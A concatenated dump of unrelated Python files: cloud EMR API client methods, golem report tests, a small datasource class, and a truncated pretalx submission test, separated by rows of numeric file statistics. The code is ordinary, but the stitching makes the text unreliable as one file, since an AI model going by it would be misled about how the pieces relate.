"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"Id": id_}
return self._handle_request(api_request).result
def create_paragraph(self, resource_owner_id=None, region_id=None, note_id=None, text=None):
api_request = APIRequest('CreateParagraph', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"NoteId": note_id,
"Text": text}
return self._handle_request(api_request).result
def create_note(
self,
resource_owner_id=None,
region_id=None,
name=None,
cluster_id=None,
type_=None):
api_request = APIRequest('CreateNote', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"Name": name,
"ClusterId": cluster_id,
"Type": type_}
return self._handle_request(api_request).result
def attach_cluster_for_note(
self,
resource_owner_id=None,
region_id=None,
id_=None,
cluster_id=None):
api_request = APIRequest('AttachClusterForNote', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"Id": id_,
"ClusterId": cluster_id}
return self._handle_request(api_request).result
def modify_execution_plan_schedule_info(
self,
resource_owner_id=None,
time_interval=None,
region_id=None,
day_of_week=None,
id_=None,
start_time=None,
strategy=None,
time_unit=None,
day_of_month=None):
api_request = APIRequest('ModifyExecutionPlanScheduleInfo', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"TimeInterval": time_interval,
"RegionId": region_id,
"DayOfWeek": day_of_week,
"Id": id_,
"StartTime": start_time,
"Strategy": strategy,
"TimeUnit": time_unit,
"DayOfMonth": day_of_month}
return self._handle_request(api_request).result
def modify_execution_plan_job_info(
self,
resource_owner_id=None,
region_id=None,
id_=None,
list_of_job_id_list=None):
api_request = APIRequest('ModifyExecutionPlanJobInfo', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"Id": id_,
"JobIdList": list_of_job_id_list}
repeat_info = {"JobIdList": ('JobIdList', 'list', 'str', None),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def modify_execution_plan_cluster_info(
self,
resource_owner_id=None,
log_path=None,
cluster_name=None,
configurations=None,
io_optimized=None,
security_group_id=None,
eas_enable=None,
create_cluster_on_demand=None,
list_of_bootstrap_action=None,
region_id=None,
use_local_meta_db=None,
emr_ver=None,
id_=None,
is_open_public_ip=None,
cluster_id=None,
instance_generation=None,
cluster_type=None,
vswitch_id=None,
list_of_option_soft_ware_list=None,
vpc_id=None,
net_type=None,
list_of_ecs_order=None,
zone_id=None,
high_availability_enable=None,
log_enable=None):
api_request = APIRequest('ModifyExecutionPlanClusterInfo', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"LogPath": log_path,
"ClusterName": cluster_name,
"Configurations": configurations,
"IoOptimized": io_optimized,
"SecurityGroupId": security_group_id,
"EasEnable": eas_enable,
"CreateClusterOnDemand": create_cluster_on_demand,
"BootstrapAction": list_of_bootstrap_action,
"RegionId": region_id,
"UseLocalMetaDb": use_local_meta_db,
"EmrVer": emr_ver,
"Id": id_,
"IsOpenPublicIp": is_open_public_ip,
"ClusterId": cluster_id,
"InstanceGeneration": instance_generation,
"ClusterType": cluster_type,
"VSwitchId": vswitch_id,
"OptionSoftWareList": list_of_option_soft_ware_list,
"VpcId": vpc_id,
"NetType": net_type,
"EcsOrder": list_of_ecs_order,
"ZoneId": zone_id,
"HighAvailabilityEnable": high_availability_enable,
"LogEnable": log_enable}
repeat_info = {"BootstrapAction": ('BootstrapAction',
'list',
'dict',
[('Path',
'str',
None,
None),
('Arg',
'str',
None,
None),
('Name',
'str',
None,
None),
]),
"OptionSoftWareList": ('OptionSoftWareList',
'list',
'str',
None),
"EcsOrder": ('EcsOrder',
'list',
'dict',
[('NodeType',
'str',
None,
None),
('DiskCount',
'str',
None,
None),
('NodeCount',
'str',
None,
None),
('DiskCapacity',
'str',
None,
None),
('Index',
'str',
None,
None),
('InstanceType',
'str',
None,
None),
('DiskType',
'str',
None,
None),
]),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def modify_execution_plan_basic_info(
self,
resource_owner_id=None,
region_id=None,
name=None,
id_=None,
cluster_id=None):
api_request = APIRequest('ModifyExecutionPlanBasicInfo', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"Name": name,
"Id": id_,
"ClusterId": cluster_id}
return self._handle_request(api_request).result
def list_job_execution_instance_trend(self, resource_owner_id=None, region_id=None):
api_request = APIRequest('ListJobExecutionInstanceTrend', 'GET', 'http', 'RPC', 'query')
api_request._params = {"ResourceOwnerId": resource_owner_id, "RegionId": region_id}
return self._handle_request(api_request).result
def list_failure_job_execution_instances(
self, resource_owner_id=None, region_id=None, count=None):
api_request = APIRequest('ListFailureJobExecutionInstances', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"Count": count}
return self._handle_request(api_request).result
def list_execution_plan_instance_trend(self, resource_owner_id=None, region_id=None):
api_request = APIRequest('ListExecutionPlanInstanceTrend', 'GET', 'http', 'RPC', 'query')
api_request._params = {"ResourceOwnerId": resource_owner_id, "RegionId": region_id}
return self._handle_request(api_request).result
def list_cluster_scripts(self, resource_owner_id=None, region_id=None, cluster_id=None):
api_request = APIRequest('ListClusterScripts', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"ClusterId": cluster_id}
return self._handle_request(api_request).result
def describe_cluster_script(self, resource_owner_id=None, region_id=None, id_=None):
api_request = APIRequest('DescribeClusterScript', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"Id": id_}
return self._handle_request(api_request).result
def delete_cluster_script(self, resource_owner_id=None, region_id=None, id_=None):
api_request = APIRequest('DeleteClusterScript', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"Id": id_}
return self._handle_request(api_request).result
def create_cluster_script(
self,
args=None,
path=None,
resource_owner_id=None,
region_id=None,
name=None,
cluster_id=None,
node_id_list=None):
api_request = APIRequest('CreateClusterScript', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"Args": args,
"Path": path,
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"Name": name,
"ClusterId": cluster_id,
"NodeIdList": node_id_list}
return self._handle_request(api_request).result
def kill_execution_plan_instance(self, resource_owner_id=None, region_id=None, id_=None):
api_request = APIRequest('KillExecutionPlanInstance', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"Id": id_}
return self._handle_request(api_request).result
def suspend_execution_plan_scheduler(self, resource_owner_id=None, region_id=None, id_=None):
api_request = APIRequest('SuspendExecutionPlanScheduler', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"Id": id_}
return self._handle_request(api_request).result
def run_execution_plan(self, resource_owner_id=None, region_id=None, arguments=None, id_=None):
api_request = APIRequest('RunExecutionPlan', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"Arguments": arguments,
"Id": id_}
return self._handle_request(api_request).result
def resume_execution_plan_scheduler(self, resource_owner_id=None, region_id=None, id_=None):
api_request = APIRequest('ResumeExecutionPlanScheduler', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"Id": id_}
return self._handle_request(api_request).result
def release_cluster(self, resource_owner_id=None, region_id=None, force_release=None, id_=None):
api_request = APIRequest('ReleaseCluster', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"ForceRelease": force_release,
"Id": id_}
return self._handle_request(api_request).result
def modify_job(
self,
run_parameter=None,
retry_interval=None,
resource_owner_id=None,
region_id=None,
name=None,
id_=None,
type_=None,
max_retry=None,
fail_act=None):
api_request = APIRequest('ModifyJob', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"RunParameter": run_parameter,
"RetryInterval": retry_interval,
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"Name": name,
"Id": id_,
"Type": type_,
"MaxRetry": max_retry,
"FailAct": fail_act}
return self._handle_request(api_request).result
def modify_execution_plan(
self,
resource_owner_id=None,
log_path=None,
time_interval=None,
cluster_name=None,
configurations=None,
io_optimized=None,
security_group_id=None,
eas_enable=None,
create_cluster_on_demand=None,
start_time=None,
list_of_job_id_list=None,
day_of_month=None,
list_of_bootstrap_action=None,
region_id=None,
use_local_meta_db=None,
emr_ver=None,
id_=None,
user_defined_emr_ecs_role=None,
is_open_public_ip=None,
execution_plan_version=None,
cluster_id=None,
time_unit=None,
instance_generation=None,
cluster_type=None,
vswitch_id=None,
list_of_option_soft_ware_list=None,
vpc_id=None,
net_type=None,
workflow_definition=None,
list_of_ecs_order=None,
name=None,
zone_id=None,
day_of_week=None,
use_custom_hive_meta_db=None,
strategy=None,
list_of_config=None,
high_availability_enable=None,
init_custom_hive_meta_db=None,
log_enable=None):
api_request = APIRequest('ModifyExecutionPlan', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"LogPath": log_path,
"TimeInterval": time_interval,
"ClusterName": cluster_name,
"Configurations": configurations,
"IoOptimized": io_optimized,
"SecurityGroupId": security_group_id,
"EasEnable": eas_enable,
"CreateClusterOnDemand": create_cluster_on_demand,
"StartTime": start_time,
"JobIdList": list_of_job_id_list,
"DayOfMonth": day_of_month,
"BootstrapAction": list_of_bootstrap_action,
"RegionId": region_id,
"UseLocalMetaDb": use_local_meta_db,
"EmrVer": emr_ver,
"Id": id_,
"UserDefinedEmrEcsRole": user_defined_emr_ecs_role,
"IsOpenPublicIp": is_open_public_ip,
"ExecutionPlanVersion": execution_plan_version,
"ClusterId": cluster_id,
"TimeUnit": time_unit,
"InstanceGeneration": instance_generation,
"ClusterType": cluster_type,
"VSwitchId": vswitch_id,
"OptionSoftWareList": list_of_option_soft_ware_list,
"VpcId": vpc_id,
"NetType": net_type,
"WorkflowDefinition": workflow_definition,
"EcsOrder": list_of_ecs_order,
"Name": name,
"ZoneId": zone_id,
"DayOfWeek": day_of_week,
"UseCustomHiveMetaDB": use_custom_hive_meta_db,
"Strategy": strategy,
"Config": list_of_config,
"HighAvailabilityEnable": high_availability_enable,
"InitCustomHiveMetaDB": init_custom_hive_meta_db,
"LogEnable": log_enable}
repeat_info = {"JobIdList": ('JobIdList', 'list', 'str', None),
"BootstrapAction": ('BootstrapAction', 'list', 'dict', [('Path', 'str', None, None),
('Arg', 'str', None, None),
('Name', 'str', None, None),
]),
"OptionSoftWareList": ('OptionSoftWareList', 'list', 'str', None),
"EcsOrder": ('EcsOrder', 'list', 'dict', [('NodeType', 'str', None, None),
('DiskCount', 'str', None, None),
('NodeCount', 'str', None, None),
('DiskCapacity', 'str', None, None),
('Index', 'str', None, None),
('InstanceType', 'str', None, None),
('DiskType', 'str', None, None),
]),
"Config": ('Config', 'list', 'dict', [('ConfigKey', 'str', None, None),
('FileName', 'str', None, None),
('Encrypt', 'str', None, None),
('Replace', 'str', None, None),
('ConfigValue', 'str', None, None),
('ServiceName', 'str', None, None),
]),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def modify_cluster_name(self, resource_owner_id=None, region_id=None, name=None, id_=None):
api_request = APIRequest('ModifyClusterName', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"Name": name,
"Id": id_}
return self._handle_request(api_request).result
def list_jobs(
self,
resource_owner_id=None,
region_id=None,
page_size=None,
query_string=None,
is_desc=None,
page_number=None,
query_type=None):
api_request = APIRequest('ListJobs', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"PageSize": page_size,
"QueryString": query_string,
"IsDesc": is_desc,
"PageNumber": page_number,
"QueryType": query_type}
return self._handle_request(api_request).result
def list_job_instance_workers(
self,
resource_owner_id=None,
region_id=None,
job_instance_id=None):
api_request = APIRequest('ListJobInstanceWorkers', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"JobInstanceId": job_instance_id}
return self._handle_request(api_request).result
def list_job_execution_instances(
self,
resource_owner_id=None,
execution_plan_instance_id=None,
region_id=None,
page_size=None,
is_desc=None,
page_number=None):
api_request = APIRequest('ListJobExecutionInstances', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"ExecutionPlanInstanceId": execution_plan_instance_id,
"RegionId": region_id,
"PageSize": page_size,
"IsDesc": is_desc,
"PageNumber": page_number}
return self._handle_request(api_request).result
def list_execution_plans(
self,
job_id=None,
resource_owner_id=None,
list_of_status_list=None,
region_id=None,
page_size=None,
query_string=None,
cluster_id=None,
is_desc=None,
strategy=None,
page_number=None,
query_type=None):
api_request = APIRequest('ListExecutionPlans', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"JobId": job_id,
"ResourceOwnerId": resource_owner_id,
"StatusList": list_of_status_list,
"RegionId": region_id,
"PageSize": page_size,
"QueryString": query_string,
"ClusterId": cluster_id,
"IsDesc": is_desc,
"Strategy": strategy,
"PageNumber": page_number,
"QueryType": query_type}
repeat_info = {"StatusList": ('StatusList', 'list', 'str', None),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def list_execution_plan_instances(
self,
only_last_instance=None,
resource_owner_id=None,
list_of_execution_plan_id_list=None,
list_of_status_list=None,
region_id=None,
page_size=None,
is_desc=None,
page_number=None):
api_request = APIRequest('ListExecutionPlanInstances', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"OnlyLastInstance": only_last_instance,
"ResourceOwnerId": resource_owner_id,
"ExecutionPlanIdList": list_of_execution_plan_id_list,
"StatusList": list_of_status_list,
"RegionId": region_id,
"PageSize": page_size,
"IsDesc": is_desc,
"PageNumber": page_number}
repeat_info = {"ExecutionPlanIdList": ('ExecutionPlanIdList', 'list', 'str', None),
"StatusList": ('StatusList', 'list', 'str', None),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def list_clusters(
self,
resource_owner_id=None,
list_of_status_list=None,
region_id=None,
page_size=None,
list_of_cluster_type_list=None,
is_desc=None,
create_type=None,
deposit_type=None,
default_status=None,
page_number=None,
machine_type=None):
api_request = APIRequest('ListClusters', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"StatusList": list_of_status_list,
"RegionId": region_id,
"PageSize": page_size,
"ClusterTypeList": list_of_cluster_type_list,
"IsDesc": is_desc,
"CreateType": create_type,
"DepositType": deposit_type,
"DefaultStatus": default_status,
"PageNumber": page_number,
"MachineType": machine_type}
repeat_info = {"StatusList": ('StatusList', 'list', 'str', None),
"ClusterTypeList": ('ClusterTypeList', 'list', 'str', None),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def kill_execution_job_instance(
self,
resource_owner_id=None,
region_id=None,
job_instance_id=None):
api_request = APIRequest('KillExecutionJobInstance', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"JobInstanceId": job_instance_id}
return self._handle_request(api_request).result
def describe_job(self, resource_owner_id=None, region_id=None, id_=None):
api_request = APIRequest('DescribeJob', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"Id": id_}
return self._handle_request(api_request).result
def describe_execution_plan(self, resource_owner_id=None, region_id=None, id_=None):
api_request = APIRequest('DescribeExecutionPlan', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"Id": id_}
return self._handle_request(api_request).result
def delete_job(self, resource_owner_id=None, region_id=None, id_=None):
api_request = APIRequest('DeleteJob', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"Id": id_}
return self._handle_request(api_request).result
def delete_execution_plan(self, resource_owner_id=None, region_id=None, id_=None):
api_request = APIRequest('DeleteExecutionPlan', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"Id": id_}
return self._handle_request(api_request).result
def create_job(
self,
run_parameter=None,
retry_interval=None,
resource_owner_id=None,
region_id=None,
name=None,
type_=None,
max_retry=None,
fail_act=None):
api_request = APIRequest('CreateJob', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"RunParameter": run_parameter,
"RetryInterval": retry_interval,
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"Name": name,
"Type": type_,
"MaxRetry": max_retry,
"FailAct": fail_act}
return self._handle_request(api_request).result
def create_execution_plan(
self,
resource_owner_id=None,
time_interval=None,
log_path=None,
cluster_name=None,
configurations=None,
io_optimized=None,
security_group_id=None,
eas_enable=None,
create_cluster_on_demand=None,
start_time=None,
list_of_job_id_list=None,
day_of_month=None,
list_of_bootstrap_action=None,
region_id=None,
use_local_meta_db=None,
emr_ver=None,
user_defined_emr_ecs_role=None,
is_open_public_ip=None,
cluster_id=None,
time_unit=None,
instance_generation=None,
cluster_type=None,
vswitch_id=None,
list_of_option_soft_ware_list=None,
vpc_id=None,
net_type=None,
list_of_ecs_order=None,
workflow_definition=None,
name=None,
day_of_week=None,
zone_id=None,
use_custom_hive_meta_db=None,
strategy=None,
list_of_config=None,
high_availability_enable=None,
init_custom_hive_meta_db=None,
log_enable=None):
api_request = APIRequest('CreateExecutionPlan', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"TimeInterval": time_interval,
"LogPath": log_path,
"ClusterName": cluster_name,
"Configurations": configurations,
"IoOptimized": io_optimized,
"SecurityGroupId": security_group_id,
"EasEnable": eas_enable,
"CreateClusterOnDemand": create_cluster_on_demand,
"StartTime": start_time,
"JobIdList": list_of_job_id_list,
"DayOfMonth": day_of_month,
"BootstrapAction": list_of_bootstrap_action,
"RegionId": region_id,
"UseLocalMetaDb": use_local_meta_db,
"EmrVer": emr_ver,
"UserDefinedEmrEcsRole": user_defined_emr_ecs_role,
"IsOpenPublicIp": is_open_public_ip,
"ClusterId": cluster_id,
"TimeUnit": time_unit,
"InstanceGeneration": instance_generation,
"ClusterType": cluster_type,
"VSwitchId": vswitch_id,
"OptionSoftWareList": list_of_option_soft_ware_list,
"VpcId": vpc_id,
"NetType": net_type,
"EcsOrder": list_of_ecs_order,
"WorkflowDefinition": workflow_definition,
"Name": name,
"DayOfWeek": day_of_week,
"ZoneId": zone_id,
"UseCustomHiveMetaDB": use_custom_hive_meta_db,
"Strategy": strategy,
"Config": list_of_config,
"HighAvailabilityEnable": high_availability_enable,
"InitCustomHiveMetaDB": init_custom_hive_meta_db,
"LogEnable": log_enable}
repeat_info = {"JobIdList": ('JobIdList', 'list', 'str', None),
"BootstrapAction": ('BootstrapAction', 'list', 'dict', [('Path', 'str', None, None),
('Arg', 'str', None, None),
('Name', 'str', None, None),
]),
"OptionSoftWareList": ('OptionSoftWareList', 'list', 'str', None),
"EcsOrder": ('EcsOrder', 'list', 'dict', [('NodeType', 'str', None, None),
('DiskCount', 'str', None, None),
('NodeCount', 'str', None, None),
('DiskCapacity', 'str', None, None),
('Index', 'str', None, None),
('InstanceType', 'str', None, None),
('DiskType', 'str', None, None),
]),
"Config": ('Config', 'list', 'dict', [('ConfigKey', 'str', None, None),
('FileName', 'str', None, None),
('Encrypt', 'str', None, None),
('Replace', 'str', None, None),
('ConfigValue', 'str', None, None),
('ServiceName', 'str', None, None),
]),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
| 41.661775
| 153
| 0.525748
| 27,757
| 309,422
| 5.4971
| 0.046078
| 0.050923
| 0.065866
| 0.059541
| 0.858018
| 0.836568
| 0.814619
| 0.787617
| 0.767163
| 0.748969
| 0
| 0.000114
| 0.373752
| 309,422
| 7,426
| 154
| 41.667385
| 0.78731
| 0.001858
| 0
| 0.793954
| 0
| 0
| 0.149077
| 0.017106
| 0
| 0
| 0
| 0
| 0
| 1
| 0.056467
| false
| 0.001711
| 0.000428
| 0
| 0.113361
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
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| 1
| 0
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| null | 0
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| 0
| 0
| 0
|
0
| 7
|
d4b49a9e4e63f0ea171f66f95ef926c9ad52fa33
| 8,483
|
py
|
Python
|
tests/core/report_test.py
|
kangchenwei/keyautotest2
|
f980d46cabfc128b2099af3d33968f236923063f
|
[
"MIT"
] | 1
|
2018-10-31T07:43:26.000Z
|
2018-10-31T07:43:26.000Z
|
tests/core/report_test.py
|
kangchenwei/keyautotest2
|
f980d46cabfc128b2099af3d33968f236923063f
|
[
"MIT"
] | null | null | null |
tests/core/report_test.py
|
kangchenwei/keyautotest2
|
f980d46cabfc128b2099af3d33968f236923063f
|
[
"MIT"
] | null | null | null |
import os
import json
from golem.core import report, utils
from golem.test_runner import test_runner
from tests.fixtures import testdir_fixture, permanent_project_fixture
class Test_create_execution_directory:
def test_create_execution_directory_test(self, permanent_project_fixture):
project = permanent_project_fixture['name']
testdir = permanent_project_fixture['testdir']
timestamp = utils.get_timestamp()
test_name = 'test_execution_directory'
directory = report.create_execution_directory(testdir, project, timestamp,
test_name=test_name)
path = os.path.join(testdir, 'projects', project, 'reports',
'single_tests', test_name, timestamp)
assert os.path.isdir(path)
assert directory == path
def test_create_execution_directory_test_parents(self, permanent_project_fixture):
project = permanent_project_fixture['name']
testdir = permanent_project_fixture['testdir']
timestamp = utils.get_timestamp()
test_name = 'a.b.test_execution_directory'
directory = report.create_execution_directory(testdir, project, timestamp,
test_name=test_name)
path = os.path.join(testdir, 'projects', project, 'reports',
'single_tests', test_name, timestamp)
assert os.path.isdir(path)
assert directory == path
def test_create_execution_directory_suite(self, permanent_project_fixture):
project = permanent_project_fixture['name']
testdir = permanent_project_fixture['testdir']
timestamp = utils.get_timestamp()
suite_name = 'suite_execution_directory'
directory = report.create_execution_directory(testdir, project, timestamp,
suite_name=suite_name)
path = os.path.join(testdir, 'projects', project, 'reports',
suite_name, timestamp)
assert os.path.isdir(path)
assert directory == path
def test_create_execution_directory_suite_parents(self, permanent_project_fixture):
project = permanent_project_fixture['name']
testdir = permanent_project_fixture['testdir']
timestamp = utils.get_timestamp()
suite_name = 'a.b.suite_execution_directory'
directory = report.create_execution_directory(testdir, project, timestamp,
suite_name=suite_name)
path = os.path.join(testdir, 'projects', project, 'reports',
suite_name, timestamp)
assert os.path.isdir(path)
assert directory == path
class Test_create_report_directory:
def test_create_report_directory_test(self, permanent_project_fixture):
project = permanent_project_fixture['name']
testdir = permanent_project_fixture['testdir']
timestamp = utils.get_timestamp()
test_name = 'testing_report_001'
exec_dir = report.create_execution_directory(testdir, project, timestamp,
test_name=test_name)
directory = report.create_report_directory(exec_dir, test_name,
is_suite=False)
assert os.path.isdir(directory)
def test_create_report_directory_suite(self, permanent_project_fixture):
project = permanent_project_fixture['name']
testdir = permanent_project_fixture['testdir']
timestamp = utils.get_timestamp()
test_name = 'testing_report_002'
exec_dir = report.create_execution_directory(testdir, project, timestamp,
test_name=test_name)
directory = report.create_report_directory(exec_dir, test_name,
is_suite=True)
assert os.path.isdir(directory)
class Test_generate_report:
def test_generate_report(self, permanent_project_fixture):
project = permanent_project_fixture['name']
testdir = permanent_project_fixture['testdir']
timestamp = utils.get_timestamp()
test_name = 'testing_report_002'
exec_dir = report.create_execution_directory(testdir, project, timestamp,
test_name=test_name)
report_dir = report.create_report_directory(exec_dir, test_name,
is_suite=True)
test_data = {
'var1': 'value1',
'var2': 'value2'
}
result = {
'result': 'pass',
'error': '',
'description': 'description of the test',
'steps': ['step1', 'step2'],
'test_elapsed_time': 22.22,
'test_timestamp': '2018.02.04.02.16.42.729',
'browser': 'chrome',
'browser_full_name': '',
'set_name': 'set_001',
}
report.generate_report(report_dir, test_name, test_data, result)
expected = {
'test_case': test_name,
'result': 'pass',
'steps': ['step1', 'step2'],
'description': 'description of the test',
'error': '',
'short_error': '',
'test_elapsed_time': 22.22,
'test_timestamp': '2018.02.04.02.16.42.729',
'browser': 'chrome',
'environment': '',
'set_name': 'set_001',
'test_data': {
'var1': "'value1'",
'var2': "'value2'"
}
}
path = os.path.join(report_dir, 'report.json')
with open(path) as report_file:
actual = json.load(report_file)
assert actual == expected
def test_generate_report_with_env(self, permanent_project_fixture):
project = permanent_project_fixture['name']
testdir = permanent_project_fixture['testdir']
timestamp = utils.get_timestamp()
test_name = 'testing_report_003'
exec_dir = report.create_execution_directory(testdir, project, timestamp,
test_name=test_name)
report_dir = report.create_report_directory(exec_dir, test_name,
is_suite=True)
test_data = {
'env': {
'name': 'env01',
'url': '1.1.1.1'
},
'var2': 'value2'
}
test_data = test_runner.Data(test_data)
result = {
'result': 'pass',
'error': '',
'description': 'description of the test',
'steps': ['step1', 'step2'],
'test_elapsed_time': 22.22,
'test_timestamp': '2018.02.04.02.16.42.729',
'browser': 'chrome',
'browser_full_name': '',
'set_name': 'set_001',
}
report.generate_report(report_dir, test_name, test_data, result)
expected_a = {
'test_case': test_name,
'result': 'pass',
'steps': ['step1', 'step2'],
'description': 'description of the test',
'error': '',
'short_error': '',
'test_elapsed_time': 22.22,
'test_timestamp': '2018.02.04.02.16.42.729',
'browser': 'chrome',
'environment': 'env01',
'set_name': 'set_001',
'test_data': {
'env': "{'name': 'env01', 'url': '1.1.1.1'}",
'var2': "'value2'"
}
}
expected_b = {
'test_case': test_name,
'result': 'pass',
'steps': ['step1', 'step2'],
'description': 'description of the test',
'error': '',
'short_error': '',
'test_elapsed_time': 22.22,
'test_timestamp': '2018.02.04.02.16.42.729',
'browser': 'chrome',
'environment': 'env01',
'set_name': 'set_001',
'test_data': {
'env': "{'url': '1.1.1.1', 'name': 'env01'}",
'var2': "'value2'"
}
}
path = os.path.join(report_dir, 'report.json')
with open(path) as report_file:
actual = json.load(report_file)
# TODO
assert actual == expected_a or actual == expected_b
| 40.783654
| 87
| 0.554639
| 832
| 8,483
| 5.350962
| 0.106971
| 0.052111
| 0.129155
| 0.048518
| 0.911276
| 0.900045
| 0.870171
| 0.870171
| 0.870171
| 0.870171
| 0
| 0.031667
| 0.337381
| 8,483
| 208
| 88
| 40.783654
| 0.760363
| 0.000472
| 0
| 0.740541
| 0
| 0
| 0.170087
| 0.026067
| 0
| 0
| 0
| 0.004808
| 0.064865
| 1
| 0.043243
| false
| 0.027027
| 0.027027
| 0
| 0.086486
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
077e4271459ae9da2266ee86bd8b57803b597479
| 260
|
py
|
Python
|
python/datasources/covid_tracking_project_metadata.py
|
mayaspivak/health-equity-tracker
|
acf0d0a8e74b4ac057a510d52c84c78b755fe950
|
[
"MIT"
] | null | null | null |
python/datasources/covid_tracking_project_metadata.py
|
mayaspivak/health-equity-tracker
|
acf0d0a8e74b4ac057a510d52c84c78b755fe950
|
[
"MIT"
] | null | null | null |
python/datasources/covid_tracking_project_metadata.py
|
mayaspivak/health-equity-tracker
|
acf0d0a8e74b4ac057a510d52c84c78b755fe950
|
[
"MIT"
] | null | null | null |
from datasources.data_source import DataSource
class CtpMetadata(DataSource):
@staticmethod
def get_id():
return 'COVID_TRACKING_PROJECT_METADATA'
@staticmethod
def get_table_name():
return 'covid_tracking_project_metadata'
| 20
| 48
| 0.738462
| 28
| 260
| 6.5
| 0.678571
| 0.164835
| 0.197802
| 0.285714
| 0.373626
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.2
| 260
| 12
| 49
| 21.666667
| 0.875
| 0
| 0
| 0.25
| 0
| 0
| 0.238462
| 0.238462
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| true
| 0
| 0.125
| 0.25
| 0.75
| 0
| 1
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 1
| 1
| 0
|
0
| 7
|
0783a96966c7ea8c5a81dfbc356d2532a4beeec3
| 5,918
|
py
|
Python
|
src/tests/unit/submission/test_submission_model.py
|
td00/pretalx
|
aff450de9420fca167e04345fa24ee7140fae819
|
[
"Apache-2.0"
] | null | null | null |
src/tests/unit/submission/test_submission_model.py
|
td00/pretalx
|
aff450de9420fca167e04345fa24ee7140fae819
|
[
"Apache-2.0"
] | null | null | null |
src/tests/unit/submission/test_submission_model.py
|
td00/pretalx
|
aff450de9420fca167e04345fa24ee7140fae819
|
[
"Apache-2.0"
] | null | null | null |
import pytest
from pretalx.submission.models import SubmissionError, SubmissionStates
@pytest.mark.parametrize('state', (
SubmissionStates.SUBMITTED,
SubmissionStates.REJECTED,
SubmissionStates.CONFIRMED,
SubmissionStates.CANCELED,
))
@pytest.mark.django_db
def test_accept_success(submission, state):
submission.state = state
submission.save()
count = submission.logged_actions().count()
submission.accept()
